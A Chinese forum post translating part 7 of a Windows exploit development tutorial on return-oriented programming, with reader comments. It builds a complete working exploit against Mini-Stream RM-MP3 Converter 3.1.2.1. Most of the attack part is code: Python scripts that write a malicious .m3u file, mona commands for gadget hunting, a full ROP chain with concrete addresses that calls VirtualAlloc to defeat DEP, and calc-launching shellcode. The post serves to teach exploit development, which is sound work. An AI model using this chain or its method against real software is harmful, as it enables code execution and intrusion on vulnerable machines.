首页
社区
课程
招聘
[翻译]Windows Exploit开发系列教程第七部分:返回导向编程(ROP)
2016-1-13 18:04 26938

[翻译]Windows Exploit开发系列教程第七部分:返回导向编程(ROP)

2016-1-13 18:04
26938
译者:Netfairty
前言
欢迎来到第七部分, 经过前面的学习, 可能你想做一些更有挑战性的事. 好的, 本节我们将要学习的是ROP(返回导向编程). 不像前一节我们把参数精心布置在堆栈然后调用Windwos API去执行它们. 所有介绍ROP教程都需要你做很多的工作才能掌握它. 但是在次提醒本教程不会覆盖ROP所有细节. 如果你想更好的理解ROP我推荐你看corelanc0d3r’s的文章

我将用"Mini-Stream RM-MP3 Converter 3.1.2.1"来介绍这项技术. 之前的一个漏洞利用程序在这里, 但是我们要做一些不一样的东西, 它更高效.

调试机器:Windows 7(任何Windows 7版本都可以, 我用的是WIN7 PRO SP1)
坏字符:”\x00\x09\x0a”
漏洞软件:下载

介绍
为什么要学习ROP? 人们滥用堆栈溢出很多年. 为了减轻攻击带来的损失. 微软从WIN XP SP2和WIN SERVER 2003开始引进了一项新的安全措施对抗从不可执行区域范围执行代码. DEP(数据执行保护)包含两部分:

硬件DEP: CPU置内存为不可执行
软件DEP

支持硬件DEP的CPU会拒绝执行被标记为不可执行的(NX)内存页的代码. 这么做的目的是防止攻击者将恶意代码注入的另外一个程序执行. 尤其是基于栈溢出的漏洞, 由于DEP, 上的shellcode将不会被执行. 但DEP有时会造成程序意外错误, 因为程序有时候可能需要在不可执行区域执行代码. 为了解决这个问题, 微软提供了两种DEP配置.

Opt-In Mode:DEP只对系统进程和特别定义的进程启用
Opt-Out Mode:DEP对系统所有进程和服务启用,除了禁用的进程.

这对漏洞利用意味着什么?当我们尝试在启用DEP的内存执行代码, 程序将会返回一个访问冲突” STATUS_ACCESS_VIOLATION (0xc0000005)" . 然后程序就终止了. 对于攻击者来说这显然不是好事. 但是有趣的是DEP可以被关闭, 这意味着调用某个Windows API可以把某段不可执行区域设置为可执行. 主要的问题仍然是, 如果我们不能执行任何代码的话又怎么去调用这个API呢?

开始我们的ROP(返回导向编程). 这项技术最早由Sebastian Krahmer 在2005的SUSE Linux提出. 你可以在这里找到这篇文档. ROP基本的思想是借助已经存在的代码块(也叫配件), 这些配件来自程序已经加载的模块, 用这些配件为我们的目标API设置参数. 我们可以在已加载的模块中找到一些列以retn结尾的配件, 把这些配件的地址布置在堆栈上, 当控制EIP并返回时候, 程序就会跳去执行这些小配件, 而这些小配件是在别的模块代码段, 不受DEP的影响. 这就是ROP的原理, 下面的这个例子可以帮助我们更好的理解它:
(1) 指针直接执行retn                    (2) 指针指向一些指令+retn

ESP -> ???????? => RETN                     ESP -> ???????? => POP EAX # RETN
       ???????? => RETN                           ffffffff => we put this value in EAX
       ???????? => RETN                         ???????? => INC EAX # RETN
       ???????? => RETN                         ???????? => XCHG EAX,EDX # RETN
(1)这里retn仅仅是增加esp             (2) 用配件将EDX清0


相信你已经理解ROP的思想了. 下面我们列举所有的ROP配件一会会用它们布置目标API的参数, 目标API才是真正关闭DEP的函数. 这项技术成功的关键在于我们需要在未启用ASLR的模块去寻找这些小配件.
下面是不同的API在不同的系统下可用情况. 


可以看到不止一种方法可以达到目的. 有些方法更普遍. 不同的API有不同的参数, 详细的参数请看MSDN. 一般而言系统模块都启用了ASLR. 所以我们从软件自身加载的模块看是否包含这些API的指针.

基本上有两种方式写ROP
(1)把API需要的参数都放到寄存器, 用一个push指令把他们压入栈(这是下面我们要做的)
(2)直接把API需要的参数布置到栈然后跳去这个API执行, 这种方法有点难.

最后我要提一点, 对payload创建一个完整的ROP也是可以的.

收集配件
漏洞利用比较抽象, 你得到的信息越多, 你看的就越清楚, 离成功也就越近. 让我们看看下面这个POC, BBBB将会覆写EIP.
#!/usr/bin/python
 
import sys, struct
 
file="crash.m3u"
 
 
#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0A'                                            #
#---------------------------------------------------------------------#
crash = "http://." + "A"*17416 + "B"*4 + "C"*7572
 
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()


老办法, 附加Mini-Stream 到调试器然后打开crash.m3u文件. 你可以看到下图所示的崩溃. 有几点值得注意:
(1)ESP指向我们的缓冲区真是好消息因为我们可以用retn指令地址覆写EIP从而跳到我们ROP链的开始. 
(2)我们看到ESP指向EIP+4的位置, 稍后我们要填充着4个字节.

好. 我们基本搞清了内存布局. 用mona看看软件加载了哪些模块(记住只要没有non-base, no-ASLR,no 坏字符). 看起来只有一个dll符合要求(MSRMfilter03.dll). 接下来用mona搜索ROP链需要的小配件. 分别执行这两个命令:
!mona modules
!mona ropfunc -m MSRMfilter03.dll -cpb '\x00\x09\x0a'



最后就是用mona在MSRMfilter03.dll找到这些小配件, mona会生成几个重要的文件:
“rop.txt”(ROP配件的原始列表), 
“rop_suggestions.txt”(基于函数过滤后的ROP配件列表), 
“stackpivot.txt”(转移ESP的配件), 
“rop_virtualprotect.txt”(基于VirtualProtect函数的ROP链小配件). 
我建议打开这些文件方便随时参考. 尽管我们将要用VirtualAlloc去禁用DEP, 我们同样会看看“rop_virtualprotect.txt 是否有我们需要的小配件.
!mona rop -m MSRMfilter03.dll -cpb '\x00\x09\x0a'



构建ROP-Chain
在开始之前, 像之前看到的我们可以用retn指令地址覆写EIP, 如果你打开rop.txt你可以选择其中一个retn地址, 用这个地址替换BBBB, 别忘记填充4个自己(ESP=EIP+4)
#!/usr/bin/python
 
import sys, struct
 
file="crash.m3u"
 
rop = struct.pack('<L',0x41414141)  # padding to compensate 4-bytes at ESP
 #---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0a'                                            #
# kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll)                #
# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll)                      #
#---------------------------------------------------------------------#
crash = "http://." + "A"*17416 + "\x60\x9C\x01\x10" + rop + "C"*(7572-len(rop))
 
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()

不错, 下面看看VirtualAlloc这个API. 我建议你花点时间读下MSDN文件, 便于更好理解我们要使用的参数.
VirtualAlloc: MSDN
结构:                                 参数:

LPVOID WINAPI VirtualAlloc(          =>    A pointer to VirtualAlloc()
  _In_opt_  LPVOID lpAddress,        =>    Return Address (Redirect Execution to ESP)
  _In_      SIZE_T dwSize,           =>    dwSize (0x1)
  _In_      DWORD flAllocationType,  =>    flAllocationType (0x1000)
  _In_      DWORD flProtect          =>    flProtect (0x40)
);

可以看到大部分参数值只需要保持默认即可. 你同样可以用VirtualProtect这个API去完成任务.
VirtualProtect: MSDN
结构:                                 参数:

BOOL WINAPI VirtualProtect(          =>    A pointer to VirtualProtect()
  _In_   LPVOID lpAddress,           =>    Return Address (Redirect Execution to ESP)
  _In_   SIZE_T dwSize,              =>    dwSize up to you to chose as needed (0x201)
  _In_   DWORD flNewProtect,         =>    flNewProtect (0x40)
  _Out_  PDWORD lpflOldProtect       =>    A writable pointer
);


记住这些信息, 开始改变我们的POC, 使我们对ROP-Chain有更清晰的认识
#!/usr/bin/python
 
import sys, struct
 
file="crash.m3u"
 
#---------------------------------------------------------[Structure]-#
# LPVOID WINAPI VirtualAlloc(         => PTR to VirtualAlloc          #
#   _In_opt_  LPVOID lpAddress,       => Return Address (Call to ESP) #
#   _In_      SIZE_T dwSize,          => dwSize (0x1)                 #
#   _In_      DWORD flAllocationType, => flAllocationType (0x1000)    #
#   _In_      DWORD flProtect         => flProtect (0x40)             #
# );                                                                  #
#---------------------------------------------------[Register Layout]-#
# Remember (1) the  stack  grows  downwards  so we  need to load the  #
# values into the registers in reverse order! (2) We are going to do  #
# some clever  trickery to  align our  return after  executing.  To   #
# acchieve this we will be filling EDI with a ROP-Nop and we will be  #
# skipping ESP leaving it intact.                                     #
#                                                                     #
# EAX 90909090 => Nop                                                 #
# ECX 00000040 => flProtect                                           #
# EDX 00001000 => flAllocationType                                    #
# EBX 00000001 => dwSize                                              #
# ESP ???????? => Leave as is                                         #
# EBP ???????? => Call to ESP (jmp, call, push,..)                    #
# ESI ???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060       #
# EDI 10019C60 => ROP-Nop same as EIP                                 #
#---------------------------------------------------------------------#
rop = struct.pack('<L',0x41414141)  # padding to compensate 4-bytes at ESP
 
 
#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0a'                                            #
# kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll)                #
# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll)                      #
#---------------------------------------------------------------------#
crash = "http://." + "A"*17416 + "\x60\x9C\x01\x10" + rop + "C"*(7572-len(rop))
 
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()


现在我们的任务是把ROP-Chain综合在一起设置VirtualAlloc的值. 我们需要整理这些指针, 因为某些指令的执行可能会改变已经设置好的寄存器. 先整理一些简单的
(1) EDI -> We need to put a ROP-Nop in EDI
0x10029b57 # POP EDI # RETN
0x1002b9ff # ROP-Nop (we already have this value from EIP)

(2) EBP -> Redirect Execution flow to ESP
0x100532ed # POP EBP # RETN
0x100371f5 # CALL ESP (!mona jmp -r ESP -m MSRMfilter03.dll -cpb '\x00\x09\x0a')
(3) EAX -> Fill with a regular NOP
0x10030361 # POP EAX # RETN
0x90909090 # NOP (just a regular NOP)

(4) We need to end our chain with a PUSHAD
0x10014720 # PUSHAD # RETN (can be found in rop_virtualprotect.txt)


别的一些可能令人费解, 需要一些创造力. 但是在我的努力下能把我们需要的指令链在一起. 下面就是我布置的ROP-Chain, 但这并不是唯一的选择. 布置ROP链有很多的方式, 发挥你的创造力吧.

(5) EBX -> dwSize (0x1)
0x10013b1c # POP EBX # RETN
0xffffffff # will be 0x1 (EBX will be set to 0xffffffff)
0x100319d3 # INC EBX # FPATAN # RETN  \ Increasing EBX twice will set EBX to 0x00000001
0x100319d3 # INC EBX # FPATAN # RETN  /

(6) EDX -> flAllocationType (0x1000)
0x1003fb3f # MOV EDX,E58B0001 # POP EBP # RETN (we move a static value into EDX for calculations)
0x41414141 # padding for POP EBP (compensation for the POP)
0x10013b1c # POP EBX # RETN
0x1A750FFF # ebx+edx => 0x1000 flAllocationType (FFFFFFFF-E58B0001=1A74FFFE => 1A74FFFE+00001001=1A750FFF)
0x10029f3e # ADD EDX,EBX # POP EBX # RETN 10 (when we add these valuse together the result is 0x00001000)
0x1002b9ff # Rop-Nop to compensate  \
0x1002b9ff # Rop-Nop to compensate   |
0x1002b9ff # Rop-Nop to compensate   | This is to compensate for the POP and RETN 10
0x1002b9ff # Rop-Nop to compensate   |
0x1002b9ff # Rop-Nop to compensate   |
0x1002b9ff # Rop-Nop to compensate  /

(7) ECX -> flProtect (0x40)
(This technique works because EDX points to a valid memory location at run-time!! I tested this on windows
XP and there it didn't seem to be the case. It would be an interesting exercise to make this gadget more
universal.)
0x100280de # POP ECX # RETN
0xffffffff # will become 0x40 (ECX will be set to 0xffffffff)
0x1002e01b # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN  \ ECX will be set to 0x00000001
0x1002e01b # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN  /
0x1002a487 # ADD ECX,ECX # RETN  \
0x1002a487 # ADD ECX,ECX # RETN   |
0x1002a487 # ADD ECX,ECX # RETN   | Adding ECX to itself cycles ECX -> 1,2,4,8,10,20,40 -> 0x00000040
0x1002a487 # ADD ECX,ECX # RETN   |
0x1002a487 # ADD ECX,ECX # RETN   |
0x1002a487 # ADD ECX,ECX # RETN  /

(8) ESI -> VirtualAlloc
(We already have a pointer to VirtualAlloc (0x1005d060) but we need the DWORD value that is located at
that pointer. Again here EBP points to a valid memory address (untested on XP).)
0x1002ba02 # POP EAX # RETN
0x1005d060 # kernel32.virtualalloc
0x10027f59 # MOV EAX,DWORD PTR DS:[EAX] # RETN (get the DWORD value located at 0x1005d060)
0x1005bb8e # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN (EAX -> ESI)






有些序列似乎有点复杂,但他们不是很难理解,需要一些时间来看看, 理解它们。正如你所看到的一些小配件操纵多个寄存器加载合适的值. 我们需要布置的小配件在这不会影响我们的ROP链. 是时候把所有东西放在一起, 调整我们的POC如下:
#!/usr/bin/python
 
import sys, struct
 
file="crash.m3u"
 
#---------------------------------------------------------[Structure]-#
# LPVOID WINAPI VirtualAlloc(         => PTR to VirtualAlloc          #
#   _In_opt_  LPVOID lpAddress,       => Return Address (Call to ESP) #
#   _In_      SIZE_T dwSize,          => dwSize (0x1)                 #
#   _In_      DWORD flAllocationType, => flAllocationType (0x1000)    #
#   _In_      DWORD flProtect         => flProtect (0x40)             #
# );                                                                  #
#---------------------------------------------------[Register Layout]-#
# Remember (1) the  stack  grows  downwards  so we  need to load the  #
# values into the registers in reverse order! (2) We are going to do  #
# some clever  trickery to  align our  return after  executing.  To   #
# acchieve this we will be filling EDI with a ROP-Nop and we will be  #
# skipping ESP leaving it intact.                                     #
#                                                                     #
# EAX 90909090 => Nop                                                 #
# ECX 00000040 => flProtect                                           #
# EDX 00001000 => flAllocationType                                    #
# EBX 00000001 => dwSize                                              #
# ESP ???????? => Leave as is                                         #
# EBP ???????? => Call to ESP (jmp, call, push,..)                    #
# ESI ???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060       #
# EDI 10019C60 => ROP-Nop same as EIP                                 #
#---------------------------------------------------------------------#
rop = struct.pack('<L',0x41414141)  # padding to compensate 4-bytes at ESP
rop += struct.pack('<L',0x10029b57) # POP EDI # RETN
rop += struct.pack('<L',0x1002b9ff) # ROP-Nop
                                    #-----------------------------------------[ROP-Nop -> EDI]-#
rop += struct.pack('<L',0x100280de) # POP ECX # RETN
rop += struct.pack('<L',0xffffffff) # will become 0x40
rop += struct.pack('<L',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN
rop += struct.pack('<L',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
                                    #--------------------------------[flProtect (0x40) -> ECX]-#
rop += struct.pack('<L',0x1002ba02) # POP EAX # RETN
rop += struct.pack('<L',0x1005d060) # kernel32.virtualalloc
rop += struct.pack('<L',0x10027f59) # MOV EAX,DWORD PTR DS:[EAX] # RETN
rop += struct.pack('<L',0x1005bb8e) # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN
                                    #------------------------------------[VirtualAlloc -> ESI]-#
rop += struct.pack('<L',0x1003fb3f) # MOV EDX,E58B0001 # POP EBP # RETN
rop += struct.pack('<L',0x41414141) # padding for POP EBP
rop += struct.pack('<L',0x10013b1c) # POP EBX # RETN
rop += struct.pack('<L',0x1A750FFF) # ebx+edx => 0x1000 flAllocationType
rop += struct.pack('<L',0x10029f3e) # ADD EDX,EBX # POP EBX # RETN 10
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
                                    #-----------------------[flAllocationType (0x1000) -> EDX]-#
rop += struct.pack('<L',0x100532ed) # POP EBP # RETN
rop += struct.pack('<L',0x100371f5) # CALL ESP
                                    #----------------------------------------[CALL ESP -> EBP]-#
rop += struct.pack('<L',0x10013b1c) # POP EBX # RETN
rop += struct.pack('<L',0xffffffff) # will be 0x1
rop += struct.pack('<L',0x100319d3) # INC EBX # FPATAN # RETN
rop += struct.pack('<L',0x100319d3) # INC EBX # FPATAN # RETN
                                    #------------------------------------[dwSize (0x1) -> EBX]-#
rop += struct.pack('<L',0x10030361) # POP EAX # RETN
rop += struct.pack('<L',0x90909090) # NOP
                                    #---------------------------------------------[NOP -> EAX]-#
rop += struct.pack('<L',0x10014720) # PUSHAD # RETN
                                    #----------------------------------------[PUSHAD -> pwnd!]-#
 
#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0a'                                            #
# kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll)                #
# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll)                      #
#---------------------------------------------------------------------#
crash = "http://." + "A"*17416 + "\x60\x9C\x01\x10" + rop + "C"*(7572-len(rop))
 
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()


你可以调试这个ROP链, 以确保一切按计划进行. 
在下面的截图中可以看到VirtualAlloc是在堆栈上被调用的. 布置在后面的任何代码都会被执行.


Shellcode+游戏结束
ROP第二阶段就是要插入我们要执行的shellcode, 由于我们没有分配大量的内存,所以我们可控的空间是有限的. 没关系, 我使用SkyLined的calc  shellcode(有兴趣的话你可以看看这里). 但其实可以分配更大内存的, 这留给你们去完成.

#!/usr/bin/python
 
#----------------------------------------------------------------------------------#
# Exploit: Mini-stream RM-MP3 Converter 3.1.2.1 (*.m3u)                            #
# OS: Win7 Pro SP1                                                                 #
# Author: b33f (Ruben Boonen)                                                      #
# Software: http://www.exploit-db.com/wp-content/themes/exploit/applications       #
#          /ce47c348747cd05020b242da250c0da3-Mini-streamRM-MP3Converter.exe        #
#----------------------------------------------------------------------------------#
# This exploit was created for Part 7 of my Exploit Development tutorial           #
# series - http://www.fuzzysecurity.com/tutorials/expDev/7.html                    #
#----------------------------------------------------------------------------------#
 
import sys, struct
 
file="crash.m3u"
 
#---------------------------------------------------------[Structure]-#
# LPVOID WINAPI VirtualAlloc(         => PTR to VirtualAlloc          #
#   _In_opt_  LPVOID lpAddress,       => Return Address (Call to ESP) #
#   _In_      SIZE_T dwSize,          => dwSize (0x1)                 #
#   _In_      DWORD flAllocationType, => flAllocationType (0x1000)    #
#   _In_      DWORD flProtect         => flProtect (0x40)             #
# );                                                                  #
#---------------------------------------------------[Register Layout]-#
# Remember (1) the  stack  grows  downwards  so we  need to load the  #
# values into the registers in reverse order! (2) We are going to do  #
# some clever  trickery to  align our  return after  executing.  To   #
# acchieve this we will be filling EDI with a ROP-Nop and we will be  #
# skipping ESP leaving it intact.                                     #
#                                                                     #
# EAX 90909090 => Nop                                                 #
# ECX 00000040 => flProtect                                           #
# EDX 00001000 => flAllocationType                                    #
# EBX 00000001 => dwSize                                              #
# ESP ???????? => Leave as is                                         #
# EBP ???????? => Call to ESP (jmp, call, push,..)                    #
# ESI ???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060       #
# EDI 10019C60 => ROP-Nop same as EIP                                 #
#---------------------------------------------------------------------#
rop = struct.pack('<L',0x41414141)  # padding to compensate 4-bytes at ESP
rop += struct.pack('<L',0x10029b57) # POP EDI # RETN
rop += struct.pack('<L',0x1002b9ff) # ROP-Nop
                                    #-----------------------------------------[ROP-Nop -> EDI]-#
rop += struct.pack('<L',0x100280de) # POP ECX # RETN
rop += struct.pack('<L',0xffffffff) # will become 0x40
rop += struct.pack('<L',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN
rop += struct.pack('<L',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
                                    #--------------------------------[flProtect (0x40) -> ECX]-#
rop += struct.pack('<L',0x1002ba02) # POP EAX # RETN
rop += struct.pack('<L',0x1005d060) # kernel32.virtualalloc
rop += struct.pack('<L',0x10027f59) # MOV EAX,DWORD PTR DS:[EAX] # RETN
rop += struct.pack('<L',0x1005bb8e) # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN
                                    #------------------------------------[VirtualAlloc -> ESI]-#
rop += struct.pack('<L',0x1003fb3f) # MOV EDX,E58B0001 # POP EBP # RETN
rop += struct.pack('<L',0x41414141) # padding for POP EBP
rop += struct.pack('<L',0x10013b1c) # POP EBX # RETN
rop += struct.pack('<L',0x1A750FFF) # ebx+edx => 0x1000 flAllocationType
rop += struct.pack('<L',0x10029f3e) # ADD EDX,EBX # POP EBX # RETN 10
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
                                    #-----------------------[flAllocationType (0x1000) -> EDX]-#
rop += struct.pack('<L',0x100532ed) # POP EBP # RETN
rop += struct.pack('<L',0x100371f5) # CALL ESP
                                    #----------------------------------------[CALL ESP -> EBP]-#
rop += struct.pack('<L',0x10013b1c) # POP EBX # RETN
rop += struct.pack('<L',0xffffffff) # will be 0x1
rop += struct.pack('<L',0x100319d3) # INC EBX # FPATAN # RETN
rop += struct.pack('<L',0x100319d3) # INC EBX # FPATAN # RETN
                                    #------------------------------------[dwSize (0x1) -> EBX]-#
rop += struct.pack('<L',0x10030361) # POP EAX # RETN
rop += struct.pack('<L',0x90909090) # NOP
                                    #---------------------------------------------[NOP -> EAX]-#
rop += struct.pack('<L',0x10014720) # PUSHAD # RETN
                                    #----------------------------------------[PUSHAD -> pwnd!]-#
 
# SkyLined's Calc shellcode
calc = (
"\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64"
"\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B"
"\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20"
"\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07"
"\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74"
"\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7")
 
#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0a'                                            #
# kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll)                #
# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll)                      #
#---------------------------------------------------------------------#
shell = "\x90"*5 + calc
crash = "http://." + "A"*17416 + "\x60\x9C\x01\x10" + rop + shell + "C"*(7572-len(rop + shell))
 
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()





原文链接:http://www.fuzzysecurity.com/tutorials/expDev/7.html

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
点赞1
打赏
分享
最新回复 (4)
雪    币: 438
活跃值: (228)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
ID蝴蝶 1 2016-3-1 20:31
2
0
总算搞明白了,不过修改rop链还是挺费事的,太巧妙了。谢谢青蛙大大。
雪    币: 10
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
sumiting 2018-10-26 14:19
3
0
大佬,那个eip被填充retn =pop eip,然后不就是把栈后面的一个参数弹入eip么,直接rop不就行了 ,为啥要在加rop前面加4个字节的padding?
雪    币: 10
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
sumiting 2018-10-26 15:04
4
0
问题解决了,得填充4个字节的数据然后esp才会指向真正的rop。然后 retn(pop eip)才会执行rop
雪    币: 10
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
sumiting 2018-10-26 16:55
5
0
phshad指令会以这个顺序 Push EAX, ECX, EDX, EBX, original ESP, EBP, ESI, and EDI
游客
登录 | 注册 方可回帖
返回